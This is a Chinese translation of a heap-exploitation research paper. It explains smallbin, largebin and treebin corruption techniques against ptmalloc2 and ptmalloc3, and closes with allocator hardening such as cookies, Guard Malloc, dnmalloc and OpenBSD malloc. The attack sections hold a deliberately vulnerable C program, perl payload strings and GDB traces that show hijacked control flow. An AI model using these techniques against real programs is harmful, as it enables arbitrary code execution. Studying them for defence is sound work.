[PTMALLOC2] -> (Chunk from TOP)
[!!!]malloc(ed) name [ 0x804f020 ] // Edit name agents[0]
Write name for this agent:
.....
[PTMALLOC2] -> (Chunk from TOP)
[!!!]malloc(ed) lastname [ 0x804f048 ] // Edit lastname agents[0]
Write lastname for this agent:
.....
[PTMALLOC2] -> (Chunk from TOP)
[!!!]malloc(ed) desc [ 0x804f0d0 ] // Edit description agents[0]
Write description for this agent:
.....
[PTMALLOC2] -> (Chunk from TOP)
Agent 1 created, now you can edit it // Create new agents[1]
.....
Write agent number:
[+] Agent 0 selected. // Select agents[0]
.....
[PTMALLOC2] -> (Freed and unsorted [ 0x804f040 ] chunk) // Delete lastname
.....
Write agent number:
[+] Agent 1 selected. // Select agents[1]
.....
[PTMALLOC2] -> (Chunk from TOP)
[!!!]malloc(ed) desc [ 0x804f1f0 ] // Edit description agents[1]
Write description for this agent:
.....
Write agent number:
[+] Agent 0 selected. // Select agents[0]
.....
Write name for this agent: // Edit name agents[0]
Write agent number:
[+] Agent 1 selected. // Select agents[1]
.....
[PTMALLOC2] -> (Smallbin code reached)
[PTMALLOC2] -> (victim = [ 0x804f048 ])
[PTMALLOC2] -> (victim->bk = [ 0xbfffee94 ])
[!!!]malloc(ed) lastname [ 0x804f048 ]
Write lastname for this agent: // Edit lastname agents[1]
.....
Write agent number:
[+] Agent 0 selected. // Select agents[0]
.....
[PTMALLOC2] -> (Smallbin code reached)
[PTMALLOC2] -> (victim = [ 0xbfffee94 ])
[PTMALLOC2] -> (victim->bk = [ 0xbfffeec0 ])
[!!!]malloc(ed) lastname [ 0xbfffee9c ] // Edit lastname agents[0]
Segmentation fault
black@odisea:~/ptmalloc2$ 每个人都能想到最后发生了什么,但是GDB会为我们阐明一些事情: ----- snip -----
[PTMALLOC2] -> (Smallbin code reached)
[PTMALLOC2] -> (victim = [ 0xbfffee94 ])
[PTMALLOC2] -> (victim->bk = [ 0xbfffeec0 ])
[!!!]malloc(ed) lastname [ 0xbfffee9c ]
程序收到SIGSEGV 信号,段错误。
0x080490f6 in edit_lastname ()
(gdb) x/i $eip
0x80490f6 <edit_lastname+150>: ret
(gdb) x/8x $esp
0xbfffee9c: 0x42424242 0x42424242 0x42424242 0x42424242
0xbfffeeac: 0x42424242 0x42424242 0x42424242 0x42424242
(gdb)
----- snip ----- 你已经进入了你最喜欢的野战游戏中的下一步了,或最起码已经提高了你的知识和技术水平。
现在,我鼓励你在你常用的glibc(不是static Ptmalloc2)中编译这个程序,并查证下这个结果确实是一样的,它没有改变内在的代码。
我不知道有人注意到没,但是能在这个案例中用到的另外一个技巧是The House of Prime(质数之屋)。执行此技术需要的条件是能操纵将要被释放的两个内存块的字节头。这个是可行的,因为agents[]->name中的溢出可以override agents[]->lastname和agents[]->desc,并且我们可以决定在什么时候释放它们,及释放的顺序。但是The House of Prime(质数之屋)的另外一个条件是在栈中放置一个整数(integer)去克服上一次的检查,似乎我们就困在这里了。同时,因为glibc 2.3.6的检查,我们不能成功free()一个小于16字节的内存块,鉴于这是这个技术的第一个内在要求(改变重写的第一个内存块的容量字段(size flield)0x9h = 0x8h + PREV_INUSE比特)。 <<知道一个方法并去尝试它,如果它不行,我们就放弃它,并去尝试另外一种方法,这是个人之常情。但是不管怎样,继续尝试就是了>>
[ 富兰克林罗斯福 ] .------------------------------.
---[ 3 ---[ LargeBin损坏方法 ]---
.------------------------------.
为了应用最新说明的Largebin方法,我们需要配置同样的环境,除了配置的内存块大小需要在512字节以上。
但是,在"_int_malloc( )"中触发的代码是不同的且更复杂。为了达到成功执行任意代码的目的,其他一些要求也将是必要的。
我们将对2.2.1中说明的有漏洞的程序做些修改,在以下实操的过程中,我们也将明白这步是成功的先决条件。
以下是代码部分:
---[ thl-large.c ]---
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void evil_func(void)
{
printf("\nThis is an evil function. You become a cool \
hacker if you are able to execute it.\n");
}
void func1(void)
{
char *lb1, *lb2;
lb1 = (char *) malloc(1536);
printf("\nLB1 -> [ %p ]", lb1);
lb2 = malloc(1536);
printf("\nLB2 -> [ %p ]", lb2);
strcpy(lb1, " Which is your favourite hobby? ");
printf("\n%s", lb1);
fgets(lb2, 128, stdin);
}
int main(int argc, char *argv[])
{
char *buff1, *buff2, *buff3;
malloc(4096);
buff1 = (char *) malloc(1024);
printf("\nBuff1 -> [ %p ]", buff1);
buff2 = (char *) malloc(2048);
printf("\nBuff2 -> [ %p ]", buff2);
buff3 = (char *) malloc(4096);
printf("\nBuff3 -> [ %p ]\n", buff3);
free(buff2);
printf("\nBuff4 -> [ %p ]", malloc(4096));
strcpy(buff1, argv[1]);
func1();
return 0;
}
---[ end thl-large.c ]--- 正如你所看到的,在释放第二个分配的内存块后,我们仍然需要一个额外的reserve (buff4)。这是因为在unsorted bin中存放着带有损坏的"bk"指针的内存块,这并不是个好主意。当这个发生时,程序迟早都会在以下指令中中断:
/* remove from unsorted list */
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av); 但是如果在最近释放的内存块放置在它对应的bin之前,我们没做错事情,那么我们将顺利通过以下区域码:
while ( (victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
...
} 成功通过这个区域码意味着(buff2)已经被引进它对应的large bin中。所以我们将达到代码:
----- snip -----
if (!in_smallbin_range(nb)) {
bin = bin_at(av, idx);
for (victim = last(bin); victim != bin; victim = victim->bk) {
size = chunksize(victim);
if ((unsigned long)(size) >= (unsigned long)(nb)) {
printf("\n[PTMALLOC2] No enter here please\n");
remainder_size = size - nb;
unlink(victim, bck, fwd);
.....
----- snip ----- 这个看起来不是很好。宏unlink( )被调用,并且我们知道Glibc2.3.6版本相关的保护特性,到那里我们将前功尽弃。
这里讲下large bin损坏方法的不同之处,在2.2.1中我们说过在重写free( )内存块的"bk"指针之后,应该两次调用malloc()函数去返还任意内存地址的*mem指针变量。
而在largebin损坏当中,我们无论如何都要避免这个代码。为此,两次调用malloc( )的大小必须小于buff2->size。Phantasmal告诉我们"512 < M < N",这就是我们在我们有漏洞的程序中所看到的:512 < 1536 < 2048。
由于之前没有释放过(1536)大小的内存块,或者在同样的bin中的其他内存块,"_int_malloc( )"尝试扫描下一个bin并搜索可以满足请求的内存块:
//从下一个最大的bin中开始扫描并搜索符合要求的内存块。
++idx;
bin = bin_at(av,idx); 奇迹出现了,以下的代码将被执行:
----- snip -----
victim = last(bin);
.....
else {
size = chunksize(victim);
remainder_size = size - nb;
printf("\n[PTMALLOC2] -> (Largebin code reached)");
printf("\n[PTMALLOC2] -> remander_size = size (%d) - nb (%d) = %u", size,
nb, remainder_size);
printf("\n[PTMALLOC2] -> (victim = [ %p ])", victim);
printf("\n[PTMALLOC2] -> (victim->bk = [ %p ])\n", victim->bk);
/* unlink */
bck = victim->bk;
bin->bk = bck;
bck->fd = bin;
/* Exhaust */
if (remainder_size < MINSIZE) {
printf("\n[PTMALLOC2] -> Exhaust code!! You win!\n");
.....
return chunk2mem(victim);
}
/* Split */
else {
.....
set_foot(remainder, remainder_size);
check_malloced_chunk(av, victim, nb);
return chunk2mem(victim);
}
}
----- snip -----
代码已经正确修剪,只显示了与我们描述的方法相关的部分。printf( )是我自己加上去的,你们很快会看到它的用处。
很容易看出来这个进程实际上跟smallbin代码相同。从"victim"中的largebin(last(bin))中拿出内存块chunk并接着在它到达用户控制前unlink掉。因为我们控制了"victim->bk",一开始攻击要求是一样的,但是差别在哪里呢?
调用set_foot( )倾向于产生段错误,因为"remainder_size"是从"victim->size"处开始计算,victim->size的值是我们一直用随意的数据填充的。结果差不多就像下面这样:
(gdb) run `perl -e 'print "A" x 1036 . "\x44\xf0\xff\xbf"'`
[PTMALLOC2] -> (Chunk from TOP)
Buff1 -> [ 0x8050010 ]
[PTMALLOC2] -> (Chunk from TOP)
Buff2 -> [ 0x8050418 ]
[PTMALLOC2] -> (Chunk from TOP)
Buff3 -> [ 0x8050c20 ]
[PTMALLOC2] -> (Freed and unsorted [ 0x8050410 ] chunk)
[PTMALLOC2] -> (Chunk from TOP)
Buff4 -> [ 0x8051c28 ]
[PTMALLOC2] -> (Largebin code reached)
[PTMALLOC2] -> remander_size = size (1094795584) - nb (1544) = 1094794040
[PTMALLOC2] -> (victim = [ 0x8050410 ])
[PTMALLOC2] -> (victim->bk = [ 0xbffff044 ])
程序收到SIGSEGV信号, 段错误。
0x0804a072 in _int_malloc (av=0x804e0c0, bytes=1536) at malloc.c:4144
4144 set_foot(remainder, remainder_size);
(gdb) 解决方法是执行以下条件语句:
if (remainder_size < MinSize) {
...
}.
或许有人想到用类似"0xfcfcfcfc"的数值重写"victim->size",这样会产生一个消极的比最小尺寸(MINSIZE)还小的数,但是我们必须记得"remainder_size"被定义为“无符号长整形变量”(unsigned long),所以结果通常都会是乐观的。
最后一个可能性是漏洞程序允许我们在攻击字符串中插入一个空字节(null bytes),因此应用(0x00000610 = 1552)值生成:1552 - 1544 (align) = 8
,到这里也就实现环境了。让我们看下操作方面:
(gdb) set *(0x08050410+4)=0x00000610
(gdb) c
Continuing.
Buff4 -> [ 0x8051c28 ]
[PTMALLOC2] -> (Largebin code reached)
[PTMALLOC2] -> remander_size = size (1552) - nb (1544) = 8
[PTMALLOC2] -> (victim = [ 0x8050410 ])
[PTMALLOC2] -> (victim->bk = [ 0xbffff044 ])
[PTMALLOC2] -> Exhaust code!! You win!
LB1 -> [ 0x8050418 ]
[PTMALLOC2] -> (Largebin code reached)
[PTMALLOC2] -> remander_size = size (-1073744384) - nb (1544) = 3221221368
[PTMALLOC2] -> (victim = [ 0xbffff044 ])
[PTMALLOC2] -> (victim->bk = [ 0xbffff651 ])
程序收到SIGSEGV信息,段错误。
0x0804a072 in _int_malloc (av=0x804e0c0, bytes=1536) at malloc.c:4144
4144 set_foot(remainder, remainder_size); 棒极了,我们达到了第一个内存的请求,在这里我们看到了victim等于0xbffff044,一旦被返回,victim将提供一个*mem指向栈的内存块。但是set_foot( )这里出问题了,这明显是因为我们没有控制在栈中创建的假内存块(fake chunk)的”size”字段。
这是我们在接下来的环境中需要克服的。Victim应该指向含有用户控制的数据的内存地址,所以我们可以输入合适的“size”值,包括技巧等。
Largebin损坏方法再也不是幻想,我们已经把它实现。但在现实的应用程序中找出攻击需要的先决条件几乎是不可能的。
作为一个好奇点,也许有人尝试去重写"victim->size"为0xffffffff (-1),并注意到在这个情况下set_foot( )似乎一直遵循过程,且没有中断程序。
注意:再次说明我们还没有试过所有glibc的版本,但是我们注意到在最新版本中有了如下的一些修复:
----- snip -----
else {
size = chunksize(victim);
/* 我们知道在这个bin中的第一个chunk已经大到足以使用。*/
assert((unsigned long)(size) >= (unsigned long)(nb)); <-- !!!!!!!
remainder_size = size - nb;
/* unlink */
unlink(victim, bck, fwd);
/* Exhaust */
if (remainder_size < MINSIZE) {
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
}
/* Split */
else {
----- snip -----
这里说明了宏unlink( )已经引进代码中,因此经典指针测试降低了攻击的可能性。
<<精神错乱是一遍又一遍地做着同样的
事情,并期待着不同的结果>>
[ 爱因斯坦 ] .-------------------------.
---[ 4 ---[ 分析Ptmalloc3 ]---
.-------------------------.
深入探究Ptmalloc3,不需要热身了,看起来很暴力,但只要有一点点帮忙,这个简直像个小孩子游戏一样。
为了准确明白下一章节,我在这里说明下跟Ptmalloc2对比,Ptmalloc3在代码中的最重要的不同之处。
基本操作还是一样的,到最后也是使用另外一个共同的内存分配器,同时也是在Doug Lea版本的分配器基础上,但后者是用在多线程上工作。
例如,下面是内存块的定义:
struct malloc_chunk {
size_t prev_foot; /* Size of previous chunk (if free). */
size_t head; /* Size and inuse bits. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
};
像我们看到的,我们所知道的"prev_size"的名称和”size”字段已经被改变,但意义仍然是一样。更何况,我们知道3个控制位,其中新增了一个”CINUSE_BIT”标志,它指示现在的chunk已经被分配了,相反,”PINUSE_BIT”标志继续是指示前一个chunk是否被分配.这2个位都有他们对应的检查和分配宏
:我们所知道的"malloc_state"结构现在把bins存在两个不同的数组里,两者用处也不同。
mchunkptr smallbins[(NSMALLBINS+1)*2];
tbinptr treebins[NTREEBINS]; 第一个存有在256字节以下的free内存块。Treebins[]存着更长的块,并使用一个特殊的树形组织。两个数组对下一章节所讲的技术来说都是很重要的,在那里我们将详细讲解它的管理性和损坏性。
"malloc_state"中最有趣的一些地方是:
char* least_addr;
mchunkptr dv;
size_t magic;
* "least_addr"在特定的宏中使用,用来检查一个P内存块的地址来源是否可靠。
* "dv", 或者Designated Victim(指定的Victim)是一块可以很快被使用来满足小请求,特点是高效率,通常地,也是另外一个小请求中的最后剩下的一块。这是在smallbin代码中常常被使用的值,我们在下一节也会看到它。
* "Magic"值应该跟malloc_params.magic一样,原则上是从device "/dev/urandom"中获得。这个值可以跟mstate一起XORed(运算),并写进p->prev_foot中,下次可通过应用另外一个XOR运算相同值,从而获取块的mstate结构。
出于安全原因,下面列出一些最重要的宏(macros):
#define ok_address(M, a) ((char*)(a) >= (M)->least_addr)
#define ok_next(p, n) ((char*)(p) < (char*)(n))
#define ok_cinuse(p) cinuse(p)
#define ok_pinuse(p) pinuse(p)
#define ok_magic(M) ((M)->magic == mparams.magic) 如果常量INSECURE在编译时间中定义(这不是默认的状态),哪个可以一直返还true?
最后一个你经常观察到的宏是"RTCHECK(e)",它仅仅是"__builtin_expect(e, 1)"的包装罢了,它从先前研究malloc开始就是很常见的。
像我们说的,"malloc_params"包括了一些我们可以从执行当中的"mallopt(int param, int value)"中建立的属性,除此之外,我们还有"mallinfo"结构,它维持了分配系统的全局状态,包含了信息:已经分配的空间数量,空闲空间的数量及所有空闲的内存块chunks的数目等..
讲到Ptmalloc3中的Mutex管理和Threads处理已经超出了本文的范围(甚至需要另外写一本书),所以我们不会在这一点上面啰嗦,还是往前走吧。
在下一节当中我们将看到所有系统的防范还不足以削弱我们讲到的攻击。 <<软件就像熵:难以把握,权值为0,并服从
热力学第二定律:即,它一直在增加。>>
[ Norman Augustine ] .---------------------------------.
---[ 4.1 ---[ SmallBin Corruption (Reverse) ]---Smallbin损坏方法(相反)
.---------------------------------.
一直想确定THoL 在Wolfram Gloger的最后版本中的可行性,但这个版本有很多的安全机制和针对堆溢出的完整性检验,幸运的是我发现了smallbin损坏方法的一个变量,这个变量可以派上用场了。
首先,我们编译Ptmalloc3并实现程序库library和2.2.1中讲到的漏洞程序(vulnerable application)的静态链接。在使用了相同的方法(调整evil_func( )地址,这可是我们的dummy shellcode)exploit应用程序之后,我们获得了malloc.c处的段违规segment violation,特别是在这块代码的最后一个指令中:
----- snip -----
void* mspace_malloc(mspace msp, size_t bytes) {
.....
if (!PREACTION(ms)) {
.....
if (bytes <= MAX_SMALL_REQUEST) {
.....
if ((smallbits & 0x3U) != 0) {
.....
b = smallbin_at(ms, idx);
p = b->fd;
unlink_first_small_chunk(ms, b, p, idx);
----- snip -----
Ptmalloc3可以根据"ONLY_MSPACES”常量是否在编译时间中定义的情况去使用dlmalloc( )和mspace_malloc( ) (DONLY_MSPACES是缺省选择default option),这跟这里的说明目的是毫无相关的,因为实际上两个函数代码是一样的。
在重写buff2的"bk"指针后,应用程序将在获取跟buff2一样大小的缓冲区的请求出现时中断breaks。为什么呢?
像你所看到的,Ptmallc3操作跟Ptmalloc2是相反的。Ptmalloc2试图使用bin中的最后一块去满足内存请求,而Ptmalloc3试图使用的是bin中的第一块:"p = b->fd"。
mspace_malloc ()试图从对应的bin中解开这块从而满足用户请求,但是在"unlink_first_small_chunk( )"宏中,坏事情发生了:程序分段错误segfaults。
Reviewing the code, we are interested by a few lines:
回顾下代码,以下给出的几行都是挺有趣的:
----- snip -----
#define unlink_first_small_chunk(M, B, P, I) {\
mchunkptr F = P->fd;\ [1]
.....
if (B == F)\
clear_smallmap(M, I);\
else if (RTCHECK(ok_address(M, F))) {\ [2]
B->fd = F;\ [3]
F->bk = B;\ [4]
}\
else {\
CORRUPTION_ERROR_ACTION(M);\
}\
}
----- snip ----- 在这里,P是我们重写的内存块chunk, B是P所属的bin。在[1],F获取了我们控制的"fd"指针值(此时,我们重写了在buff2中的"bk"指针)。
如果克服了[2],[2]是我们在上一节看到的安全宏:
#define ok_address(M, a) ((char*)(a) >= (M)->least_addr)
就在least_addr字段为“从MORECORE或者MMAP中获取最少的地址”…那么任何更高的值都可以通过检验。
我们达到了unlink的经典步骤,在[3] bin中的"fd"指针指向我们控制的地址。[4]是段违规segmentation violation发生的地方,因为它尝试把bin地址写给(0x41414141)->bk。当它超出分配的地址空间时,游戏结束。
在Ptmalloc3中的smallbin损坏技巧中,恰当地使用随意地址去重写一个释放缓冲区的"fd"指针是很有必要的。此外,调用相同分配大小的malloc( ),从而返还跟分配空间一样的随意地址的过程也是很重要的。
注意事项跟2.2.1中的一样,F->bk必须包含一个可写的地址,否则它将导致[4]中的访问违例access violation。
如果我们完成了所有的这些条件,bin中的第一个内存块chunk将被解开,也将触发以下的代码:
----- snip -----
mem = chunk2mem(p);
check_malloced_chunk(gm, mem, nb);
goto postaction;
.....
postaction:
POSTACTION(gm);
return mem;
----- snip ----- 我在mspace_malloc( )和unlink_first_small_chunk( ) 宏中加了临时的printf( )语句,看下发生了些什么,结果是:
Starting program: /home/black/ptmalloc3/thl `perl -e 'print "A"x24 .
"\x28\xf3\xff\xbf"'` < evil.in
[mspace_malloc()]: 16 bytes <= 244
Buff1 -> [ 0xb7feefe8 ]
[mspace_malloc()]: 128 bytes <= 244
Buff2 -> [ 0xb7fef000 ]
Buff3 -> [ 0xb7fef088 ]
Buff4 -> [ 0xb7fef190 ]
[mspace_malloc()]: 128 bytes <= 244
[unlink_first_small_chunk()]: P->fd = 0xbffff328
LB1 -> [ 0xb7fef000 ]
[mspace_malloc()]: 128 bytes <= 244
[unlink_first_small_chunk()]: P->fd = 0xbffff378
LB2 -> [ 0xbffff330 ]
Which is your favourite hobby:
This is an evil function. You become a cool hacker if you are able to
execute it
"244"是MAX_SMALL_REQUEST的现有值,我们可以看到,这是跟Ptmalloc2的另外一个不同点,Ptmalloc2中把任何时候小于512 字节的请求都定义为smallbin,而在这里,限制范围更小了。 << 从程序员的角度来看,用户是个外部设备:
发出读请求时敲键盘。>>
[ P. Williams ] .----------------------------------------.
---[ 4.2 ---[ LargeBin方法 (TreeBin 损坏方法) ]---
.----------------------------------------.
在这里,我们已经正确了解了基本概念。你们可以自己接着深入学习Ptmalloc3。
在Ptmalloc3中,large chunks大内存块(即大于256字节)存在树形结构中,每个chunk都有指向它父类的指针,如果它们有子类,则保留着两个指向子类的指针(左跟右)。定义此结构的代码为:
----- snip -----
struct malloc_tree_chunk {
/* 前面四个字段必须要跟malloc_chunk 兼容*/
size_t prev_foot;
size_t head;
struct malloc_tree_chunk* fd;
struct malloc_tree_chunk* bk;
struct malloc_tree_chunk* child[2];
struct malloc_tree_chunk* parent;
bindex_t index;
};
----- snip -----
如果没有什么奇异现象的话,当有内存请求长整型缓冲区long buffer时,"if (bytes <=MAX_SMALL_REQUEST) {}"语句会失败,执行的代码将是:
----- snip -----
else {
nb = pad_request(bytes);
if (ms->treemap != 0 && (mem = tmalloc_large(ms, nb)) != 0) {
check_malloced_chunk(ms, mem, nb);
goto postaction;
}
}
----- snip ----- 深入tmalloc_large( ),我们的目标是实现以下代码:
----- snip -----
if (v != 0 && rsize < (size_t)(m->dvsize - nb)) {
if (RTCHECK(ok_address(m, v))) { /* split */
.....
if (RTCHECK(ok_next(v, r))) {
unlink_large_chunk(m, v);
if (rsize < MIN_CHUNK_SIZE)
set_inuse_and_pinuse(m, v, (rsize + nb));
else {
set_size_and_pinuse_of_inuse_chunk(m, v, nb);
set_size_and_pinuse_of_free_chunk(r, rsize);
insert_chunk(m, r, rsize);
}
return chunk2mem(v);
.....
----- snip -----
如果用跟攻击Ptmalloc2一样的方法去exploit这个应用程序,那么这个程序首先会在"unlink_large_chunk( )"宏(类似于"unlink_first_small_chunk( )")处中断,这个宏最重要的代码行是:
F = X->fd;\ [1]
R = X->bk;\ [2]
F->bk = R;\ [3]
R->fd = F;\ [4]
因此我们知道了重写的chunk的"fd" 和"bk"指针必须要指向可写的内存地址,否则将导致无效的内存访问。
下一个个错误将发生在"set_size_and_pinuse_of_free_chunk(r, rsize)",这里告诉我们重写的chunk的”size”字段必须是被用户控制的,所以再一次说明了,我们需要有漏洞的应用程序允许我们引进NULL字节(N)。
如果我们能完成这个,那么在第3章展现的应用程序的"malloc(1536)"的第一次调用将被正确执行, 接下来就到第二次调用了,特别是在循环(loop)当中:
----- snip -----
while (t != 0) { /* find smallest of tree or subtree */
size_t trem = chunksize(t) - nb;
if (trem < rsize) {
rsize = trem;
v = t;
}
t = leftmost_child(t);
}
----- snip -----
当你第一次进入这个循环中,"t"相当于在回应缓冲区请求的tree_bin[]中的第一个chunk的地址。只要"t"仍然有一些子地址,循环就会一直继续,最后"v" (victim)将包含能满足请求的最小块。
挽救问题的诀窍是在第一次迭代过后退出循环。为此,我们必须创建"leftmost_child(t)"返回一个"0"值。
知道了以下定义:
#define leftmost_child(t) ((t)->child[0] != 0? (t)->child[0]:(t)->child[1])
唯一的方法是在栈中的某个地址中放置(buff2->bk)。同时必须要给child[0]和child[1]指针赋予值"0",表示没有子地址。 接着在"size"字段在if( ) sentence 中为假时,"t" (接着 "v")将被提供。 << 软件在循环使用之前,应该是有用的。 >>
[ Ralph Johnson ] .-----------------------------.
---[ 4.3 ---[ 执行安全检验 ]---
.-----------------------------.
Ptmalloc3应该比之前看起来安全多了,但因此你应该在编译时间中定义好页脚(FOOTERS)常量(这不是默认的情况)。
在第4章节之前我们已经看过所有malloc_state结构中都出现的"magic"参数及它的运算方式。"prev_size"被改称为"prev_foot"的原因是,如果页脚(FOOTERS)被定义,那么这个字段就会用来存储内存块的mstate和最近算出的magic值的异或运算的结果。
/* 设置使用中的chunk的foot为mstate和seed的异或运算值*/
#define mark_inuse_foot(M,p,s)\
(((mchunkptr)((char*)(p)+(s)))->prev_foot = ((size_t)(M) ^ mparams.magic))
异或运算通常会用在对称加密算法中,同时通过存储malloc_state地址和建立一种cookie去防御攻击,这个mstate是在以下宏中获得的:
#define get_mstate_for(p)\
((mstate)(((mchunkptr)((char*)(p) +\
(chunksize(p))))->prev_foot ^ mparams.magic))
例如,被wrapper free( )调用的"mspaces_free( )"函数是这样子开始的:
#if FOOTERS
mstate fm = get_mstate_for(p);
#else /* FOOTERS */
mstate fm = (mstate)msp;
#endif /* FOOTERS */
if (!ok_magic(fm)) {
USAGE_ERROR_ACTION(fm, p);
return;
}
如果我们损坏了一个分配的chunk的字节头(因此涉及到prev_foot字段),那么当这个chunk被释放时,get_mstate_for( )将返回错误的分配区,此时ok_magic( )将会测试那个区的”magic”值并中止应用程序。
另外,我们必须注意的是如果fm->magic的读数因为get_mstate_for( )获得错误值的原因而导致分段错误,那么现在的flow可能在USAGE_ERROR_ACTION( )调用之前中断。
如何处理这个cookie和概率分析问题从而预测出它在执行中的数值已经是个老话题了,我们再此不再赘述。尽管有人能想起PaX案例,也许是一个重写的指针可以指向chunk的”size”字段以外,并通过进一步的STRxxx( ) 或者 MEMxxx( )调用,不用改变"prev_foot"就能粉碎它们的数据。Skape在Windows平台上“减少gs cookies的有效熵” [4]的工作做的非常棒,它可以给你一些独特的想法去应用。谁知道呢,这都取决于测试的应用程序的可攻击性和内在要求。
根据这个防护,THoL的优势在哪呢?非常明显,目标chunk在被释放之后被损坏,从而通过了完整性检验。
不管怎样,总会有办法解决这些问题的。首先,如果我们都知道内存分配应该是在进栈前就分配好的(no memory allocation should proceed belonging to a
stack location),我们可以像下面这样简单执行下:
#define STACK_ADDR 0xbff00000
#define ok_address(M, a) (((char*)(a) >= (M)->least_addr)\
&& ((a) <= STACK_ADDR))
接着应用程序在我们成功exploit之前中止了,同时((a) >> 20) == 0xbff)的检验应该也生效了。这只是个例子,你系统中相关的堆栈位置可能会很不一样,是一个严格的限制性保护。
每个看了源代码的人或许都会注意到Ptmalloc3的unlink...( )宏忽略掉了灌输在glibc中的经典测验:检验双向链表。我们没有考虑这点是因为我们知道一个真正的实现会考虑并添加这个完整性检验。但我这里就不再啰嗦了,除非将来出现了基于Ptmalloc3的glibc。
本概述的结论是一些在Maleficarum & Des-Maleficarum论文中细述的技巧不适用于Ptmalloc3。例如其中一个是The House of Force(暴力之屋)。记得它需要同时重写wilderness chunk的”size”字段和用户定义的大小请求。这在Ptmalloc2是有可能的因为top chunk的size是这样子读取的:
victim = av->top;
size = chunksize(victim);
不幸的是现在Ptmalloc3把这值存在"malloc_state"并直接通过以下方式读取:
size_t rsize = (g)m->topsize // gm for dlmalloc( ), m for
// mspace_malloc( )
总之,回顾一下"malloc.c"开始之前的注释是非常值得的:
"这只是安全的一方面--这些检验不会,
也不能检测到所有可能的编程错误". << 没有全局架构或者全局构思的编程就像是只使用一只手电筒探索洞穴:你不知道所经之处,不知道前进方向,并且你根本不知道你身在何处>>
[ Danny Thorpe ] .-----------------------------------.
---[ 4.3.1 ---[ 安全堆分配器(乌托邦派) ]---
.-----------------------------------.
首先,没有办法能发明出一个完全安全的"堆分配器",这是不可能的(注意:你可以设计一个世界上最安全的分配器但如果时间太慢=>没用)。主要规则(已经相当明显了)意味着控制结构,或者更简单点,字节头(header)不能分配到临近数据的地方。创建一个可以添加8个字节到头地址从而直接存取数据的宏是非常简单的,但绝对不是一个安全的选择。
尽管这个问题会被解决,但仍然会有人认为:如果没有任意代码的执行,那么损坏另外一个分配好的chunk的数据是没用的,但如果这些缓冲区包含的是一些必须有保证的完整数据呢?(财务信息,其他..)
那么我们就接着讲到在已分配的内存碎片中使用cookie的必要性,虽然这明显是有副作用的。为了达到保持对齐的目标,cookie(假设4个字节)将会是每个分配的chunk的最后4个字节,因为如果把它们放到两个chunk之间,将需要更复杂及更慢的管理。
除此以外,我们可以借鉴下Bruce Perens 著作的"Electric Fence - Red-Zone
memory allocator"[5]。他的保护方法是:
- Anti Double Frees:
if ( slot->mode != ALLOCATED ) {
if ( internalUse && slot->mode == INTERNAL_USE )
.....
else {
EF_Abort("free(%a): freeing free memory.",address); - 释放未分配的空间(EFense维持大量分配的chunk地址(插槽):
slot = slotForUserAddress(address);
if ( !slot )
EF_Abort("free(%a): address not from malloc().", address); 我们应该考虑其他动态内存管理的方法(implementation):Jemalloc on FreeBSD [6] 和 Guard Malloc for Mac OS X [7].
第一个是专门为了并行系统设计的。我们之前讲了多重处理器的多线程管理,及怎样在不影响系统性能的情况下比其他内存管理器更高效率地达到管理目的。
而第二个,举个例子:它能非常灵活地使用页码和它的防护机制。我们现在直接从它的手册页引出下面一段关于第二个方法的核心内容:
“每个分配内存都放置在各自的虚拟分页存储器(virtual memory page),分页存储器的末尾存储着缓冲区的末端,接着下一页是未分配的,导致的结果是:在缓冲区末端以外的访问会立即引起总线错误(bus error)。当内存被释放时,libgmalloc取消它虚拟内存的分配,使得释放的缓冲区的读写操作引发了总线错误(bus error)。”
注意:这是个很有趣的想法,但是你得考虑到现实,这样一个技术not _that_ effective(不是_那么_有效)因为它将消耗很多的内存。它会导致分配PAGE_SIZE(4096是个普通值,或者getpagesize( ) ;)给一个小的内存块(small chunk)
在我看来,Guard Malloc不是一个常规使用的(routine use)内存管理器,而是使用来编译开发/调试初期的程序。
但是,Guard Malloc是个普遍的用户可配置的程序库。例如,你允许通过一个特定的环境变量(MALLOC_ALLOW_READS)去读取分配的缓冲区。这个过程是通过设置下一个的虚拟页面为Read-Only(只读)而完成的。如果这个变量允许跟其它特定环境下的变量(MALLOC_PROTECT_BEFORE)连同一起,那么你可以读到上一个虚拟页。还有,如果MALLOC_PROTECT_BEFORE允许没有MALLOC_ALLOW_READS,那么缓冲区下溢将被检测到。但这些是你在官方的文件上可看到的,这里就无需赘述了。
<< 在debug时,新手插入纠正的代码;
专家移除缺陷的代码。>>
[ Richard Pattis ] .------------.
---[ 4.3.2 ---[ dnmalloc ]---
.------------.
这次的实施(DistriNet malloc) [10]类似于最现代的系统:代码和数据加载进单独的存储单元,dnmalloc对内存块(chunk)及内存块信息也使用了同样的方法:它们都存储在被guard页保护的独立的连续的存储器中。一个含有指向chunk信息(从哈希函数中获取)的链表指针的哈希表是用来联合内存块(chunk)及内存块信息。[12]
dnmalloc 的存储器:
.---------------.
| .文本 |
.---------------.
| .数据 |
.---------------.
...
.---------------.
| Chunks |
.---------------.
..
||
||
\/
/\
||
||
..
.--------------------.
| 分页存储器(Memory Page) | <- Page不可写
.--------------------.
| 内存块信息 |
.--------------------.
| 哈希表 |
.--------------------.
| 分页存储器(Memory Page) |
.--------------------.
| 堆栈 | <- Page不可写
.--------------------.
寻找内存块信息方法:
1.- 内存块地址 – 堆的起始地址 =*Result*
2.- 获取哈希表的入口:转移*Result*7 bits到右边
3.- 仔细检查链表,直到找出正确的chunk。
.-------------------------------------.
| The Hash Table |
. ................................... .
| Pointers to each Chunk Information | --> Chunk Information (Hash Next
.-------------------------------------. to the next Chunk Information)
对chunk(内存块)信息的处理:
1.-内存块信息的哈希表下面映射了一个固定区域。
2.- Free Chunk信息存储在一个链表中
3.- 当需要一个新的chunk信息时,自由链表的第一个元素将被使用。
4.- 如果没有自由链表,那么chunk就从映射的固定区域中分配。
5.- 如果映射区为空,那么它就映射(maps)额外的内存给它(并移动 guard 页面)。
6.- Chunk信息被guard页面保护。 << 密码就像底裤:别人看不到,你可以常常更换,
但你不应该跟多人一起分享。>>
[ Chris Pirillo ] .------------------.
---[ 4.3.3 ---[ OpenBSD malloc ]---
.------------------.
[11] [13]的实施设计了目标:简单,不可预测,快速,上边较少元数据空间,鲁棒性(robust)(例如释放假指针或者重复释放都会被检测到)…
